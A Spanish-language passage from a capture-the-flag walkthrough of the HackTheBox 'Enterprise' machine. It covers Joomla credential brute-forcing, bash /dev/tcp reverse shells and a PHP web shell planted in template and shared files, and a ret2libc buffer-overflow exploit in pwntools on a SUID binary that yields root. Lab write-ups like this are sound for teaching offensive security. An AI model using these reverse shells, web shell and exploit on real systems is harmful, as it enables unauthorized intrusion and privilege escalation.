| 401 | <blank> | guinan@enterprise.htb          | Guinan     | <blank> | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | 0       | $2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q | Guinan          | 0         | <blank>    | 0          | 2017-09-06 12:38:03 | 0            | 0000-00-00 00:00:00 | 0000-00-00 00:00:00 |
+-----+---------+--------------------------------+------------+---------+----------------------------------------------------------------------------------------------+---------+--------------------------------------------------------------+-----------------+-----------+------------+------------+---------------------+--------------+---------------------+---------------------+

Vemos 2 usuarios con sus respectivas credenciales hasheadas las cuales podemos tratar de romper con john

john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

Lo dejé un buen rato, pero no las encuentra. Puede ser que alguna de las credenciales que había en el post de wordpress sean las del joomla. Con este script podemos hacer fuerza bruta para encontrar las credenciales correctas del joomla

python3 joomla-brute.py -u http://10.10.10.61:8080 -usr geordi.la.forge -w passwords.txt

geordi.la.forge:ZD3YxfnSjezg67JZ

Ya tenemos credenciales válidas para el Joomla como Super user. Para mandarnos la reverse shell es bastante parecido a wordpress, simplemente hay que ir a Extensions > Templates > Templates > El tema que esté en uso > error.php y pegamos el mismo código de wordpress.

system('bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1"');

Nos ponemos en escucha con netcat

nc -nlvp 443
Explicación parámetros
  • n: Sirve para que no haga la resolución de DNS
  • l: Habilitar modo escucha de netcat
  • v: Verbose, modo detallado de netcat
  • p: Por último la p sirve para especificar el número de puerto en el cual vamos a estar en escucha

Y hacemos un curl a una página random que no exista de la web.

curl http://10.10.10.61:8080/testing

¡Recibimos la conexión!

listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.61] 42390
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@a7018bfdc454:/var/www/html$ 

Antes de seguir, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Ahora si hacemos un echo $TERM vemos que vale dumb, pero para poder hacer ctrl + l necesitamos que valga xterm

export TERM=xterm

Por último si miramos la shell que tenemos echo $SHELL vemos que tenemos /usr/sbin/nologin asi que vamos a asignar una bash

export SHELL=bash

Si hacemos un ip a vemos que estamos en un contenedor distinto al de wordpress

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:04 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.4/16 scope global eth0
       valid_lft forever preferred_lft forever

Escalada de privilegios

Saliendo del docker

En la consola que hemos obtenido con el Joomla si vamos a /var/www/html vemos que hay una carpeta llamada files, dentro de la carpeta hay un lcars.zip. Esto es lo mismo que veiamos desde la web que corria por el puerto 443, puede ser que tengan esta carpeta sincronizada. Dentro de la carpeta files tenemos capazidad de escritura, podemos poner un php malicioso e intentarlo ejecutar desde la web que corre por el puerto 443.

8bfdc454:/var/www/html/files$ echo '<?php system($_GET["cmd"]); ?>' > script.php

Ahora si entramos en la web, abrimos el script.php y por get por el parametro cmd le ponemos un comando vemos el resultado

https://10.10.10.61/files/script.php?cmd=ls

Para mandar la reversres shell vamos a usar lo mismo de siempre (bash -c “bash -i >& /dev/tcp/10.10.14.4/443 0>&1”) pero lo vamos a passar por un url encoder para que no de problemas

https://10.10.10.61/files/script.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.4%2F443%200%3E%261%22

Nos ponemos en escucha con netcat

nc -nlvp 443
Explicación parámetros
  • n: Sirve para que no haga la resolución de DNS
  • l: Habilitar modo escucha de netcat
  • v: Verbose, modo detallado de netcat
  • p: Por último la p sirve para especificar el número de puerto en el cual vamos a estar en escucha

Recibimos la conexión!

listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.61] 37558
bash: cannot set terminal process group (1531): Inappropriate ioctl for device
bash: no job control in this shell
www-data@enterprise:/var/www/html/files$ 

Antes de continuar con la escalada, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Ahora si hacemos un echo $TERM vemos que vale dumb pero para poder hacer ctrl + l necesitamos que valga xterm

export TERM=xterm

Por ultimo si miramos la shell que tenemos echo $SHELL vemos que tenemos /usr/sbin/nologin asi que vamos a asignar una bash

export SHELL=bash

root

Buscando archivos con permisos SUID vemos que existe uno llamado lcars (Como el plugin), el cual su propietario es root y tiene permisos SUID así que si lo ejecutamos lo estamos ejecutando como root

www-data@enterprise:/$ find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
.....
-rwsr-xr-x 1 root root 38984 May 18  2017 /bin/mount
-rwsr-xr-x 1 root root 12152 Sep  8  2017 /bin/lcars
-rwsr-xr-x 1 root root 30800 Aug 11  2016 /bin/fusermount

El binario lcars nos lo vamos a pasar a nuestra máquina para poder analizarlo con detalle, para pasárnoslo, vamos a montar un servidor con python por el puerto 8000 en la carpeta /bin desde la máquina víctima con python3 -m http.server 8000 y nos lo vamos a descargar a nuestra máquina con wget 10.10.10.61/lcars

Buffer Overflow

Para analizar el binario usaremos la herramienta ghydra.

Una vez estamos en ghydra gracias al “auto analyze” podemos ver el código del binario. Primero vamos a ver el contenido de la función main.

undefined4 main(void)

{
  char local_19 [9];
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  setresuid(0,0,0);
  startScreen();
  puts("Enter Bridge Access Code: ");
  fflush(_stdout);
  fgets(local_19,9,_stdin);
  bridgeAuth(local_19);
  return 0;
}

En la función main vemos que se declara una variable de caracteres llamada local_19 con un máximo de 9 en el tamaño del buffer. Después se llama a la función startScreen(), la cual se encarga de mostrar el baner del programa.

void startScreen(void)

{
  puts("");
  puts("                 _______ _______  ______ _______");
  puts("          |      |       |_____| |_____/ |______");
  puts("          |_____ |_____  |     | |    \\_ ______|");
  puts("");
  puts("Welcome to the Library Computer Access and Retrieval System\n");
  return;
}

Volviendo a la función main, en la siguiente línea después de mencionar startScreen() nos muestra el siguiente texto.

puts(“Enter Bridge Access Code: “);

El valor que le ponemos lo manda a la función bridgeAuth()

bridgeAuth(local_19);

La función bridgeAuth tiene el siguiente código

void bridgeAuth(char *param_1)

{
  char local_32;
  undefined uStack_31;
  undefined uStack_30;
  undefined uStack_2f;
  undefined uStack_2e;
  undefined uStack_2d;
  undefined uStack_2c;
  undefined uStack_2b;
  undefined uStack_2a;
  int local_14;
  undefined4 local_10;
  
  local_32 = 'p';
  uStack_31 = 0x69;
  uStack_30 = 99;
  uStack_2f = 0x61;
  uStack_2e = 0x72;
  uStack_2d = 100;
  uStack_2c = 0x61;
  uStack_2b = 0x31;
  local_10 = 9;
  uStack_2a = 0;
  local_14 = strcmp(param_1,&local_32);
  if (local_14 == 0) {
    main_menu();
  }
  else {
    puts("\nInvalid Code\nTerminating Console\n");
  }
  fflush(_stdout);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

En las variables uStack se les da un valor que empieza por 0x lo que indica que el número que va después del 0x está en hexadecimal. Sabiendo esto, podemos convertir el valor que se les está dando a texto plano.

local_32 = 'p';
uStack_31 = 'i';
uStack_30 = 'c';
uStack_2f = 'a';
uStack_2e = 'r';
uStack_2d = 'd';
uStack_2c = 'a';
uStack_2b = '1';

A continuación se comprueba si nuestro input es igual a picarda1 con el siguiente código.

local_14 = strcmp(param_1, &local_32);

Si la comprobación anterior da 0 significará que las cadenas son iguales, en caso contrario las cadenas no serían iguales.

if (local_14 == 0) {
  main_menu();
}
else {
  puts("\nInvalid Code\nTerminating Console\n");
}

Al poner el código de acceso correcto nos redirige a la funcion main_menu()

void main_menu(void)

{
  undefined4 local_d8 [52];
  
  local_d8[0] = 0;
  startScreen();
  puts("\n");
  puts("LCARS Bridge Secondary Controls -- Main Menu: \n");
  puts("1. Navigation");
  puts("2. Ships Log");
  puts("3. Science");
  puts("4. Security");
  puts("5. StellaCartography");
  puts("6. Engineering");
  puts("7. Exit");
  puts("Waiting for input: ");
  fflush(_stdout);
  __isoc99_scanf(&DAT_00010f92,local_d8);
                    /* WARNING: Could not find normalized switch variable to match jumptable */
                    /* WARNING: This code block may not be properly labeled as switch case */
  unable();
  return;
}

La función main_menu() es la que se encarga de mostrarnos el menú de opciones después de entrar con el codigó correcto (picarda1)

No podemos ver a que funciones nos redirige al seleccionar una opción, pero investigando otras funciones que reporta ghydra, vemos que existe una función llamada disableForcefields

void disableForcefields(void)

{
  undefined local_d4 [204];
  
  startScreen();
  puts("Disable Security Force Fields");
  puts("Enter Security Override:");
  fflush(_stdout);
  __isoc99_scanf(&DAT_00010ec4,local_d4);
  printf("Rerouting Tertiary EPS Junctions: %s",local_d4);
  return;
}

Los mensajes de Disable Security Force Fields y Enter Security Override: son los que se muestran en la opción 4, así que podemos intuir que es el código de la opción 4

LCARS Bridge Secondary Controls – Main Menu:

  1. Navigation
  2. Ships Log
  3. Science
  4. Security
  5. StellaCartography
  6. Engineering
  7. Exit Waiting for input:

4

Disable Security Force Fields Enter Security Override:

Vamos a analizar esta función. Primero de todo se crea una variable donde se va a almacenar nuestro input, esta variable va a tener un tamaño máximo de buffer asignado de 204.

undefined local_d4 [204]

Después nos devuelve el mensaje Rerouting Tertiary EPS Junctions acompañado de nuestro input

printf("Rerouting Tertiary EPS Junctions: %s",local_d4);

Si probamos de ejecutar el binario poniendo muchos caracteres:

Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault  ./lcars

Vemos el error segmentation fault así que podemos probar de llevar a cabo un buffer overflow

Vamos a usar gdb-peda para verlo mejor gdb ./lcars -q una vez dentro le ponemos una r para ejecutarlo y volvemos a llenar el input de la opción 4 para ver si reescribimos los registros.

[----------------------------------registers-----------------------------------]
EAX: 0x2de 
EBX: 0x41414141 ('AAAA')
ECX: 0xffffcd7c --> 0x38cf2a00 
EDX: 0x1 
ESI: 0x56555d30 (<__libc_csu_init>:	push   ebp)
EDI: 0xf7ffcba0 --> 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcf80 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

Vemos que efectivamente el EIP vale 0x41414141 que como vimos anteriormente lo que va después del 0x está en hexadecimal, y 41 en hexadecimal es una A, así que hemos conseguido reescribirlo.

Ahora el objetivo sería saber cuantos caracteres tenemos que poner para sobreescribir el EIP y así tener control sobre el valor del EIP. gdb-peda tiene una utilidad para detectar el número de caracteres necesarios. Primero creamos una cadena de caracteres con pattern_create la cual aunque parezca aleatoria, tiene un sentido, ya que no tiene repeticiones, lo que nos permitirá luego encontrar el tamaño de caracteres para llegar al EIP

> gdb ./lcars -q
Reading symbols from ./lcars...
(No debugging symbols found in ./lcars)
gdb-peda$ pattern_create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'
gdb-peda$ r
Enter Security Override:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A


[----------------------------------registers-----------------------------------]
EAX: 0x216 
EBX: 0x73254125 ('%A%s')
ECX: 0xffffcd7c --> 0xaab80000 
EDX: 0x1 
ESI: 0x56555d30 (<__libc_csu_init>:	push   ebp)
EDI: 0xf7ffcba0 --> 0x0 
EBP: 0x41422541 ('A%BA')
ESP: 0xffffcf80 ("nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$A"...)
EIP: 0x25412425 ('%$A%')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

Ahora nos reporta que el EIP vale ($%$A%) podríamos contar manualmente o poner el siguiente comando el cual lo cuenta automaticamente

gdb-peda$ pattern offset $eip
625026085 found at offset: 212

Nos reporta que necesitamos poner 212 caracteres para empezar a sobreescribir el EIP. Podemos comprobar que efectivamente se necesitan 212 caracteres de la siguiente forma:

Primero generamos una cadena de texto de 212 ‘A’ y le añadimos 4 ‘B’. Si gdb-peda no se ha equivocado el eip debería valer ‘BBBB’

Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xfa 
EBX: 0x41414141 ('AAAA')
ECX: 0xffffcd7c --> 0xa714c800 
EDX: 0x1 
ESI: 0x56555d30 (<__libc_csu_init>:	push   ebp)
EDI: 0xf7ffcba0 --> 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcf80 --> 0x0 
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

Efectivamente, ha funcionado, el EIP vale ‘BBBB’. Esto significa que ya tenemos la capacidad de poder manipular el EIP.

El siguiente paso sería ver las protecciones

Proteciones

ASLR: Aleatorización de las direcciones de la memoria. Esta protección no es del programa en sí, es una protección del sistema. En los sistemas actuales suele ser raro encontrarlo deshabilitado. Para ver si está habilitado le hacemos un cat al /proc/sys/kernel/randomize_va_space. Si el contenido es un 0, es que está deshabilitado, si no devuelve un 0 es que esta habilitado

ww-data@enterprise:/var/www/html/files$ cat  /proc/sys/kernel/randomize_va_space

0

Otra forma de comprobar si el ASLR está habilitado, sería haciendo un bucle buscando la dirección de la librería libc y ver si la dirección cambia

www-data@enterprise:/bin$ for i in `seq 0 20`; do ldd lcars | grep libc; done
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)

Como podemos ver, no cambia

Vamos a comprobar más protecciones con checksec.

checksec lcars
[*] '/home/d3b0o/Desktop/enterprise/lcars'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

NX está deshabilitado así que podríamos crear un shellcode y ponerlo en la pila para después llamarlo desde el EIP, pero un ret2libc es más sencillo.

Esquema sacado de (https://bufferoverflows.net/ret2libc-exploitation-example/)

Para llevar a cabo el ret2libc necesitamos la dirección de system, /bin/sh y de forma opcional exit. Estas direcciones las podemos encontrar de distintas formas.

Como la máquina tiene gdb, podemos buscar las direcciones con gdb.

www-data@enterprise:/bin$ gdb ./lcars -q

(gdb) b *main
Breakpoint 1 at 0xc91

(gdb) r
Starting program: /bin/lcars 
Breakpoint 1, 0x56555c91 in main ()

(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c060 <system>

(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7e3faf0 <exit>

(gdb)  find &system,+9999999,"/bin/sh"
0xf7f70a0f

En el caso de que no tengamos gdb, podemos usar los siguientes comandos, pero para esta máquina no nos sirven porque no tiene el comando strings.

#/bin/sh
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

#system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

#exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
Exploit –> p32812

Ahora ya podemos hacer el exploit. Primero de todo creamos las variables con las direcciones que hemos sacado, creamos una variable con la cantidad de caracteres que vamos a necesitar para llegar al EIP, Después lo juntamos todo, en el orden mencionado anteriormente y lo mandamos por el puerto el cual reporto nmap que estaba abierto y tenía este binario corriendo. Por último, nos spwaneamos una shell interactiva.

from pwn import *

offset = 212
junk = b"A" * offset
system = p32(0xf7e4c060)
exit = p32(0xf7e3faf0)
sh = p32(0xf7f6ddd5)

payload = junk + system + exit + sh

host, port = "10.10.10.61", 32812

r = remote(host, port)

r.recvuntil(b"Enter Bridge Access Code:")
r.sendline(b"picarda1")
r.recvuntil(b"Waiting for input:")
r.sendline(b"4")
r.recvuntil(b"Enter Security Override")
r.sendline(payload)
r.interactive()

¡Al ejecutarlo, ya somos root!

> python3 main.py
[+] Opening connection to 10.10.10.61 on port 32812: Done
[*] Switching to interactive mode
:
$ whoami
root
$